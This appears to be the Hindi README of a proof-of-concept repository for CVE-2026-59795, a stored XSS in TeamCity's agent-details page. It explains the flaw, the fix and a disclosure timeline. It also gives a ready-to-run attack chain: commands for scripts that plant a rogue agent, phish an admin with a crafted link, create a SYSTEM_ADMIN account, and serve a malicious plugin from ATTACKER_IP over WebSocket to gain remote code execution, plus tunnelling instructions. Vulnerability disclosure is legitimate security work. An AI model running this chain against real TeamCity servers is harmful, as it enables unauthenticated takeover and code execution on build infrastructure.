
CVE-2026-59795 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: TeamCity एजेंट विवरण में अनधिकृत स्टोर्ड XSS, जिसे SYSTEM_ADMIN खाता निर्माण और प्लगइन-अपलोड RCE से जोड़ा गया है।
TeamCity के लीगेसी एजेंट-विवरण पृष्ठ में अनधिकृत स्टोर्ड XSS, जो बिना पुनः आरंभ के सर्वर RCE तक बढ़ जाता है। एक हमलावर दुर्भावनापूर्ण os.name के साथ एक बिल्ड एजेंट पंजीकृत करता है (किसी क्रेडेंशियल की आवश्यकता नहीं), फिर एक एडमिन से उस एजेंट का विवरण पृष्ठ देखवाता है। पेलोड एडमिन के प्रमाणित सत्र में चलता है और एक SYSTEM_ADMIN खाता बना सकता है या एक दुर्भावनापूर्ण प्लगइन अपलोड और लोड कर सकता है।
| CVE | CVE-2026-59795 |
| प्रभावित | TeamCity <= 2026.1.1 (build 222577) |
| में ठीक किया गया | 2026.1.2 (222647), 2025.11.6 (208214) |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| प्रकार | स्टोर्ड XSS (CWE-79), SYSTEM_ADMIN अधिग्रहण और RCE तक श्रृंखलाबद्ध |
| आवश्यक प्रमाणीकरण | पेलोड लगाने के लिए कोई नहीं |
ट्रिगर: एक एडमिन दुर्भावनापूर्ण एजेंट देखता है, या तो डिफ़ॉल्ट Sakura UI पर एक-क्लिक तैयार किए गए &fromSakuraUI=true लिंक के माध्यम से, या बिना किसी फ़िशिंग के सामान्य authorize वर्कफ़्लो में लंबित एजेंट को खोलकर जब एडमिन क्लासिक UI पर हो (प्रति-उपयोगकर्ता "Use Sakura UI" अनचेक, या सर्वर-व्यापी क्लासिक मोड)।
webapps/ROOT/agent/agentSummary.jsp एजेंट द्वारा रिपोर्ट किए गए OS नाम को बिना एस्केप किए रेंडर करता है:
<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>
पूरा लेख स्क्रीनशॉट और पृष्ठभूमि सहित: https://joakimbulow.com/posts/cve-2026-59795/
कुछ पंक्तियाँ ऊपर का सहोदर एजेंट नाम <c:out> का उपयोग करता है, जो पुष्टि करता है कि यह चूक आकस्मिक है। operatingSystemName पूरी तरह से हमलावर-नियंत्रित है: एक अनप्रमाणित एजेंट इसे पंजीकरण के समय सेट करता है (POST /app/agents/v1/register में osName विशेषता), और सर्वर इसे ज्यों का त्यों संग्रहीत और प्रतिध्वनित करता है।
Sakura React UI osName को सही ढंग से एस्केप करता है और सामान्यतः लेगेसी पृष्ठ से दूर रीडायरेक्ट करता है, लेकिन रीडायरेक्ट तब छोड़ दिया जाता है (और बिना एस्केप किया गया JSP रेंडर होता है) जब:
?fromSakuraUI=true के साथ खोलता है (रीडायरेक्ट टैग का अपना बायपास फ़्लैग), याteamcity.ui.experimental=disableDefault, या प्रति-उपयोगकर्ता "Use Sakura UI" ऑप्ट-आउट), यालाइव पुष्टि की गई:
alert(document.domain) पॉप करें, कोई दुष्प्रभाव नहीं।SYSTEM_ADMIN खाता बनाएँ (कोई RCE नहीं)।/admin/pluginUpload.html पर एक प्लगइन अपलोड करता है और /admin/plugins.html (EnableAllPlugins) के माध्यम से इसे सक्षम करता है, जो बिना पुनः आरंभ के चल रहे TeamCity JVM में हमलावर Java लोड कर देता है। एडमिन के क्लिक के 4 सेकंड बाद सर्वर होस्ट पर लिखी गई एक प्रमाण फ़ाइल के माध्यम से सत्यापित किया गया।agentSummary.jsp में आउटपुट को एस्केप करें:
<strong><c:out value="${agent.operatingSystemName}"/></strong>
(ऊपर की पंक्ति में agent.version फ़ील्ड में भी वही समस्या है और उसे भी वही सुधार चाहिए।)
GET /update/buildAgent.zipjavac, केवल RCE PoC के लिए आवश्यकcurl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent
आपको conf/buildAgent.properties को हाथ से संपादित करने की आवश्यकता नहीं है; नीचे दिया गया प्रत्येक PoC अपने --url/--tc-url आर्ग्युमेंट से serverUrl सेट करता है और प्रत्येक रन में एजेंट का नाम फिर से लिखता है, इसलिए उसी अनज़िप किए गए evilagent/ डायरेक्टरी को बार-बार उपयोग करना सुरक्षित है।
./poc/)इन्हें क्रम से चलाएँ, प्रत्येक पिछले की तुलना में अधिक प्रभाव की पुष्टि करता है।
1. alert_only.py, XSS की पुष्टि करें, शून्य दुष्प्रभाव। एक एजेंट लगाता है जिसका osName alert(document.domain) पॉप करता है। कोई खाता नहीं बनाया गया, कोई कोड निष्पादित नहीं हुआ।
python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent
2. attacker_deeplink.py, XSS से SYSTEM_ADMIN takeover, कोई RCE नहीं। वही plant, लेकिन payload एक SYSTEM_ADMIN खाता (eviladmin / Ev1l-Pass-123) बनाता है और तब तक poll करता है जब तक वह खाता लॉग इन नहीं कर पाता।
python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent
3. rce_ws_server.py, पूरी चेन, XSS से प्लगइन अपलोड से RCE तक, एकल टर्मिनल। एक प्लगइन बनाता है, दुर्भावनापूर्ण एजेंट और एक WebSocket सर्वर शुरू करता है, और फ़िशिंग लिंक प्रिंट करता है। जब एडमिन इसे देखता है: XSS सक्रिय होता है, WS सर्वर प्लगइन वितरित करता है, उसे अपलोड और सक्षम किया जाता है, और TeamCity उसे रनटाइम पर लोड करता है।
python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
--tc-url https://teamcity.example.com --agent-dir ./evilagent
प्रत्येक PoC इस तरह एक लिंक प्रिंट करता है:
https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true
उसे एडमिन को भेजें (Sakura UI, एक क्लिक), या, यदि एडमिन पहले से क्लासिक UI पर है, तो उन्हें बस agentDetails.html?id=N पर इंगित करें बिना किसी विशेष पैरामीटर के, जैसे कि सामान्य pending-agent समीक्षा प्रवाह के माध्यम से।
एडमिन के क्लिक के कुछ सेकंड के भीतर, TeamCity सर्वर होस्ट पर:
cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user: <tc-process-user>
host: <hostname>
java: <java-version>
cwd: <teamcity-bin-dir>
time: <timestamp>
यदि एडमिन का ब्राउज़र आपकी हमलावर मशीन तक सीधे नहीं पहुँच सकता, उदाहरण के लिए, आप केवल लक्ष्य में SSH टनल के माध्यम से पहुँच योग्य हैं, तो अपनी मशीन पर प्लगइन और एजेंट बनाने के लिए rce_prepare.py का उपयोग करें, फिर poc/ws_serve.py और बनाए गए प्लगइन ZIP को TeamCity होस्ट पर स्थानांतरित करें और वहाँ से उन्हें सर्व करें:
# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
--ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip
# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337
WebSocket पोर्ट को उसी टनल के माध्यम से फ़ॉरवर्ड करें जिसका उपयोग TeamCity तक पहुँचने के लिए किया जाता है (-L 1337:localhost:1337), ताकि एडमिन का ब्राउज़र इसे ws://localhost:1337 के रूप में एक्सेस कर सके।
क्लीनअप नोट: प्रत्येक रन एक नए नाम वाला एजेंट रजिस्टर करता है, इसलिए बार-बार चलाने पर टकराव नहीं होगा, लेकिन प्रत्येक रन एक नया अनधिकृत एजेंट पीछे छोड़ देता है। परीक्षण के बाद उन्हें Agents -> Unauthorized के अंतर्गत हटा दें।
| फ़ाइल | उद्देश्य |
|---|---|
poc/alert_only.py | ट्रायाज चरण 1, एक हानिरहित alert() के साथ XSS की पुष्टि करें |
poc/attacker_deeplink.py | ट्रायाज चरण 2, XSS से SYSTEM_ADMIN टेकओवर |
poc/rce_ws_server.py | ट्रायाज चरण 3, पूर्ण XSS से अपलोड से RCE श्रृंखला, एकल टर्मिनल |
poc/rce_prepare.py | वही RCE श्रृंखला, इस प्रकार विभाजित कि WebSocket सर्वर लक्ष्य होस्ट पर चल सके (टनल सेटअप) |
poc/ws_serve.py | rce_prepare.py के विभाजित सेटअप द्वारा उपयोग किया जाने वाला स्टैंडअलोन WebSocket फ़ाइल सर्वर |
poc/poclib.py | साझा हेल्पर: दुर्भावनापूर्ण एजेंट को कॉन्फ़िगर और लॉन्च करता है |
poc/payloads.txt | कच्चे XSS पेलोड वेरिएंट (alert, स्पेस-रहित, create-admin) |
| तिथि | घटना |
|---|---|
| 2026-06-15 | रिपोर्ट किया गया |
| 2026-06-15 | स्वीकार किया गया |
| 2026-06-17 | ठीक किया गया |
| 2026-07-01 | फ़िक्स जारी, 2026.1.2 (222647) और 2025.11.6 (208214) |
| 2026-07-10 | CVE प्रकाशित |
| 2026-11-03 | POC प्रकाशित |